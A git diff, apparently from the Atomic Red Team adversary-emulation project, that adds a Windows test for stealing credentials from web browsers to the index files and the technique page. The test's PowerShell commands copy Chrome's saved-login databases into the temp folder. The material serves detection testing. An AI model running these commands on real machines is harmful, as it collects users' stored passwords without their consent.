diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv
index b0bb53c5..04c2305d 100644
--- a/atomics/Indexes/Indexes-CSV/index.csv
+++ b/atomics/Indexes/Indexes-CSV/index.csv
@@ -21,6 +21,7 @@ credential-access,T1555,Credentials from Password Stores,5,Enumerate credentials
 credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell
 credential-access,T1555.003,Credentials from Web Browsers,2,Search macOS Safari Cookies,c1402f7b-67ca-43a8-b5f3-3143abedc01b,sh
 credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credentials from Browser,9a2915b3-3954-4cce-8c76-00fbf4dbd014,command_prompt
+credential-access,T1555.003,Credentials from Web Browsers,4,Simulating access to Chrome Login Data,3d111226-d09a-4911-8715-fe11664f960d,powershell
 credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt
 credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt
 credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt
diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv
index 0b1d4f57..63a59154 100644
--- a/atomics/Indexes/Indexes-CSV/windows-index.csv
+++ b/atomics/Indexes/Indexes-CSV/windows-index.csv
@@ -10,6 +10,7 @@ credential-access,T1555,Credentials from Password Stores,4,Enumerate credentials
 credential-access,T1555,Credentials from Password Stores,5,Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials],bc071188-459f-44d5-901a-f8f2625b2d2e,powershell
 credential-access,T1555.003,Credentials from Web Browsers,1,Run Chrome-password Collector,8c05b133-d438-47ca-a630-19cc464c4622,powershell
 credential-access,T1555.003,Credentials from Web Browsers,3,LaZagne - Credentials from Browser,9a2915b3-3954-4cce-8c76-00fbf4dbd014,command_prompt
+credential-access,T1555.003,Credentials from Web Browsers,4,Simulating access to Chrome Login Data,3d111226-d09a-4911-8715-fe11664f960d,powershell
 credential-access,T1552.002,Credentials in Registry,1,Enumeration for Credentials in Registry,b6ec082c-7384-46b3-a111-9a9b8b14e5e7,command_prompt
 credential-access,T1552.002,Credentials in Registry,2,Enumeration for PuTTY Credentials in Registry,af197fd7-e868-448e-9bd5-05d1bcd9d9e5,command_prompt
 credential-access,T1003.006,DCSync,1,DCSync (Active Directory),129efd28-8497-4c87-a1b0-73b9a870ca3e,command_prompt
diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md
index f431715d..b0fa87ba 100644
--- a/atomics/Indexes/Indexes-Markdown/index.md
+++ b/atomics/Indexes/Indexes-Markdown/index.md
@@ -35,6 +35,7 @@
   - Atomic Test #1: Run Chrome-password Collector [windows]
   - Atomic Test #2: Search macOS Safari Cookies [macos]
   - Atomic Test #3: LaZagne - Credentials from Browser [windows]
+  - Atomic Test #4: Simulating access to Chrome Login Data [windows]
 - [T1552.002 Credentials in Registry](../../T1552.002/T1552.002.md)
   - Atomic Test #1: Enumeration for Credentials in Registry [windows]
   - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows]
diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md
index 2abdf300..3b7aa2c0 100644
--- a/atomics/Indexes/Indexes-Markdown/windows-index.md
+++ b/atomics/Indexes/Indexes-Markdown/windows-index.md
@@ -20,6 +20,7 @@
 - [T1555.003 Credentials from Web Browsers](../../T1555.003/T1555.003.md)
   - Atomic Test #1: Run Chrome-password Collector [windows]
   - Atomic Test #3: LaZagne - Credentials from Browser [windows]
+  - Atomic Test #4: Simulating access to Chrome Login Data [windows]
 - [T1552.002 Credentials in Registry](../../T1552.002/T1552.002.md)
   - Atomic Test #1: Enumeration for Credentials in Registry [windows]
   - Atomic Test #2: Enumeration for PuTTY Credentials in Registry [windows]
diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml
index ebe36bf9..db076360 100644
--- a/atomics/Indexes/index.yaml
+++ b/atomics/Indexes/index.yaml
@@ -1412,6 +1412,34 @@ credential-access:
         name: command_prompt
         elevation_required: true
         command: "#{lazagne_path} browsers\n"
+    - name: Simulating access to Chrome Login Data
+      auto_generated_guid: 3d111226-d09a-4911-8715-fe11664f960d
+      description: "Simulates an adversary accessing encrypted credentials from Google
+        Chrome Login database. \n"
+      supported_platforms:
+      - windows
+      dependency_executor_name: powershell
+      dependencies:
+      - description: 'Chrome must be installed
+
+'
+        prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe")
+          -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"))
+          {exit 0} else {exit 1}
+        get_prereq_command: |
+          $installer = "$env:temp\ChromeStandaloneSetup64.msi"
+          Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
+          msiexec /i $installer /qn
+          Start-Process -FilePath "chrome.exe"
+          Stop-Process -Name "chrome"
+      executor:
+        name: powershell
+        command: |
+          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp
+          Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp
+        cleanup_command: |
+          Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
+          Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
   T1552.002:
     technique:
       created: '2020-02-04T12:58:40.678Z'
diff --git a/atomics/T1555.003/T1555.003.md b/atomics/T1555.003/T1555.003.md
index 0c352fe6..9177a073 100644
--- a/atomics/T1555.003/T1555.003.md
+++ b/atomics/T1555.003/T1555.003.md
@@ -18,6 +18,8 @@ After acquiring credentials from web browsers, adversaries may attempt to recycl
 
 - [Atomic Test #3 - LaZagne - Credentials from Browser](#atomic-test-3---lazagne---credentials-from-browser)
 
+- [Atomic Test #4 - Simulating access to Chrome Login Data](#atomic-test-4---simulating-access-to-chrome-login-data)
+
 
 <br/>
 
@@ -158,4 +160,54 @@ Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.
 
 
 
+<br/>
+<br/>
+
+## Atomic Test #4 - Simulating access to Chrome Login Data
+Simulates an adversary accessing encrypted credentials from Google Chrome Login database.
+
+**Supported Platforms:** Windows
+
+
+**auto_generated_guid:** 3d111226-d09a-4911-8715-fe11664f960d
+
+
+
+
+
+
+#### Attack Commands: Run with `powershell`! 
+
+
+```powershell
+Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp
+Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp
+```
+
+#### Cleanup Commands:
+```powershell
+Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
+Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
+```
+
+
+
+#### Dependencies:  Run with `powershell`!
+##### Description: Chrome must be installed
+##### Check Prereq Commands:
+```powershell
+if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}
+```
+##### Get Prereq Commands:
+```powershell
+$installer = "$env:temp\ChromeStandaloneSetup64.msi"
+Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
+msiexec /i $installer /qn
+Start-Process -FilePath "chrome.exe"
+Stop-Process -Name "chrome"
+```
+
+
+
+
 <br/>